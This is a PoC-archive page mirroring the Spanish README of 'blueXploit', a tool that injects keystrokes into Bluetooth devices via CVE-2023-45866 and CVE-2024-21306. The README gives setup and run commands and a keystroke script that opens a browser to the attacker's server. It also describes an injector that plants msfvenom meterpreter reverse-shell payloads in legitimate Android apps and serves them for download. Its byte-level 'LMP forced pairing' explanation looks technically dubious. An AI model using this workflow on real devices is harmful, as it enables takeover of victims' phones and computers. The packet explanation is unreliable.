关联漏洞
描述
Exploit basado en vulnerabilidades criticas Bluetooth (CVE-2023-45866, CVE-2024-21306)
介绍
# blueXploit

[blueXploit video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
- **blueXploit** es un Exploit diseñado para explotar vulnerabilidades criticas en el protocolo Bluetooth, Permitiendo la inyección de pulsaciones de teclas sin necesidad de emparejamiento abriendo la puerta a ataques mas complejos.
# Funcionamiento de la vulnerabilidad
Estas vulnerabilidades [CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/), CVE-2024-21306) críticas permiten a un atacante inyectar pulsaciones de teclas y aceptar solicitudes de emparejamiento sin confirmación del usuario. Esto afecta la seguridad múltiples sistemas operativos de manera critica.
## Sistemas Afectados
- **Android**: 4.2 a 14 (11-14 si no tiene el parche 2023-12-05)
- **Linux**: Requiere parche en BlueZ.
- **macOS**: 12 a 14.2 (solución parcial).
- **iOS**: 16 (vulnerable), parcheado en iOS 17.2.
- **Windows**: Solucionado en el "Patch Tuesday" de enero 2024.
## Impacto
- Esta vulnerabilidad permite control remoto de dispositivos inyectando pulsaciones de teclas incluso sin aceptar el emparejamiento via Bluetooth forzando la conexion y ejecutando comandos de teclas.
## Ejemplos de Ataques
- **Ejecución de comandos remotos**: Control de dispositivos vulnerables mediante pulsaciones inyectadas en los cuales
los vectores de ataque son multiples tales como obtener una **Shell o incluso instalar aplicaciones maliciosas**.
- **Ataques de denegación de servicio (DDoS)**: Saturación de dispositivos con solicitudes de emparejamiento.
## Mitigación
- Actualizar dispositivos con los últimos parches del sistema.
- Desactivar Bluetooth cuando no esté en uso (Esto impide la ejecución de algun Exploit para esta Vulnerabilidad.
- Evitar emparejamientos con dispositivos desconocidos.
# blueXploit - Uso y demostración
- Basado en el [Exploit original](https://github.com/marcnewlin/hi_my_name_is_keyboard)
- Instalación de dependencias
```bash
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
## Uso APKPwn + blueXploit
**BlueXploit** incluye herramientas diseñadas para explotar vulnerabilidades en dispositivos Android, ofreciendo dos componentes principales y un programa adicional llamado **apkpwn_injector**, ubicado en la carpeta **injector**.
### Características de APKPwn
- Automatiza la creación de payloads **android/meterpreter/reverse_tcp** utilizando **msfvenom**.
- Inyecta estos payloads en aplicaciones `.apk` existentes en la carpeta **apk_clean**.
- Configura un servidor local para facilitar la descarga de las aplicaciones maliciosas generadas.
Estas funcionalidades permiten un flujo de ataque eficiente y simplificado en entornos controlados o para pruebas de penetración.

```bash
cd injector
python3 apkpwn_injector.py
```
## Crear o Modificar duckypayload
Los comandos de teclas ejecuados en blueXploit serán cargados desde la carpeta **/injector/payloads/** en formato **.txt** con una sintaxis simple y facil de comprender
### Ejemplo de duckypayload
```bash
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
```
Cambiando la dirección ip, por la direccion donde se aloja el servidor
Detección y enumeración de dispositivos
```bash
bluetoothctl
```
Escanear dispositivos Bluetooth
```bash
scan on
```
Ejecución
```bash
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```
Posteriormente para escojer el payload requerido y previamente configurado
## Demostración
Toda la demostración se encuentra en [video](https://www.youtube.com/watch?v=Zez8hKRI_7M)
## Herramientas utilizadas
- Raspberry PI 4
- OS Kali Linux ARM64
# Explicación de CVE-2023-45866
esta vulnerabilidad se explota a nivel bajo del protocolo Bluetooth, manipulando principalmente el perfil HID y el protocolo L2CAP para inyectar teclas en un dispositivo víctima.
## 1. Protocolo Bluetooth a Bajo Nivel
La pila de Bluetooth incluye varias capas, como el Link Manager Protocol (LMP), Host Controller Interface (HCI) y L2CAP. El ataque a esta vuln utiliza principalmente los últimos dos
- **HCI** : se manipula la configuración del adaptador para que se presente como un dispositivo HID legítimo.
- **L2CAP**: Responsable del multiplexado de datos entre dispositivos, L2CAP usado el canal 17 (Control HID) y el 19 (Interrupt HID) para la comunicación HID, que se pueden explotar para enviar secuencias de teclas.
## Explotacion de CVE-2023-45866
el CVE-2023-45866 es una vulnerabilidad en el Link Manager Protocol (LMP), explotada mediante un ataque de "Forced Pairing". A continuación, se detalla técnicamente cómo se lleva a cabo:
- **LMP gestiona solicitudes de emparejamiento y configuraciones de enlace**.
- Se envian paquetes LMP malformados o no autenticados para forzar el emparejamiento de esta manera
```bash
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
En esta trama de datos:
- `0x01`: LMP pairing request
- `0x01`: LMP auntentication request (PIN)
- `0x00 0x00 0x00 0x00`: Informacion de PIN debil, usualmente es 0000
En este caso el exploit se aprovecha de la falta de configuración y autenticación ante este paquete por lo cual termina por retornar:
```bash
LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
En esta trama de datos:
- `0x02`: LMP pairing request **ACCEPTED**
- `0x00 0x00 0x00 0x00`: Informacion de PIN malformado de retorno
Si la clave no es validada correctamente, la conexión se establece pero sin realizar un emparejamiento real entonces se puede enviar un paquete LMP de emparejamiento forzado tal que así:
```bash
LMP Forced Pairing: 0x03 0x01 0x0000
```
Entonces se puede forzar la autenticación usando claves previamente filtradas (como "0000") y establecer un canal de comunicación cifrada, logrando emparejar los dispositivos sin pasar por un proceso de verificación adecuado
**Lo cual genera un emparejamiento sin que el usuario lo sepa e incluso sin ninguna ventana o notificación de emparejamiento**
El error en este CVE radica en que ciertos dispositivos no validan adecuadamente las solicitudes LMP de autenticación o terminan reutilizando claves viejas.
Por lo cual una vez emparejado con el dispoitivo, Bang!, El resto es pan comido por lo cual en el codigo de **blueXploit.py** el adaptador y el dispositivo actuan y falsifican datos de indentficación, en este caso se ejecutan comandos como:
```bash
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # Clase HID (teclado)
```
Codigo de blueXploit
```python
# configure name and class
log.status("Configurando la interfaz: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 sin especificar 0x25 HID device 0x40 Keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) #Gets name
```
## Inyección de datos HID:
```bash
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
```
Explicación de trama de bytes HID:
:`a10100001e000000000000`
- `a1`: Especifica el tipo de HID report
- `01` Especifica el uso de interfaz HID para un dato entrante
- `00` Keypress o Keyrelease
- `00 1e 00 00 00 00`: Indican el valor en hexadecimal donde `1e` corresponde a la letra `a`
Posteriormente se recive un **ACK** pera verificar que la transmisión fue recibida con exito
- blueXploit integra un mecanismo de Reconexión y reenvío de datos con el fin de tener una comunicación estable y sin perdida de datos, por lo cual si se presenta una desconexión, El programa se reconecta y sigue enviando datos HID desde la posicion o caracter previo.
> **Advertencia**: Este material y las técnicas descritas en este repositorio son **estrictamente para fines educativos y de investigación**. El uso de herramientas de penetración y explotación debe realizarse solo en sistemas que **tienes permiso explícito** para evaluar. El uso no autorizado de estas técnicas en sistemas ajenos está **prohibido** y es **ilegal** en muchas jurisdicciones. Cualquier daño o impacto negativo causado por el uso inapropiado de este contenido es responsabilidad exclusiva del usuario.
> Se recomienda a los usuarios que trabajen en entornos controlados, como **laboratorios de pruebas**, y que cumplan con todas las leyes y regulaciones locales relacionadas con la seguridad informática y el hacking ético. ***happy hacking :D***
文件快照
[4.0K] /data/pocs/2c9485e4aff9e92c6e5b71b1c16668431ee48535
├── [ 24K] blueXploit.py
├── [4.0K] injector
│ ├── [7.9K] apkpwn_injector.py
│ ├── [1.8K] banner.sh
│ ├── [4.1K] hid.py
│ ├── [ 681] menu_functions.py
│ ├── [4.0K] payloads
│ │ ├── [ 25] payload_1.txt
│ │ └── [ 187] payload_2.txt
│ └── [4.0K] __pycache__
│ ├── [ 163] adapter.cpython-312.pyc
│ ├── [3.1K] agent.cpython-312.pyc
│ ├── [ 13K] client.cpython-312.pyc
│ ├── [2.0K] helpers.cpython-312.pyc
│ ├── [6.3K] hid.cpython-312.pyc
│ ├── [ 164] __init__.cpython-312.pyc
│ ├── [1.4K] menu_functions.cpython-312.pyc
│ └── [2.7K] profile.cpython-312.pyc
├── [1.0K] LICENSE
└── [9.2K] README.md
3 directories, 17 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。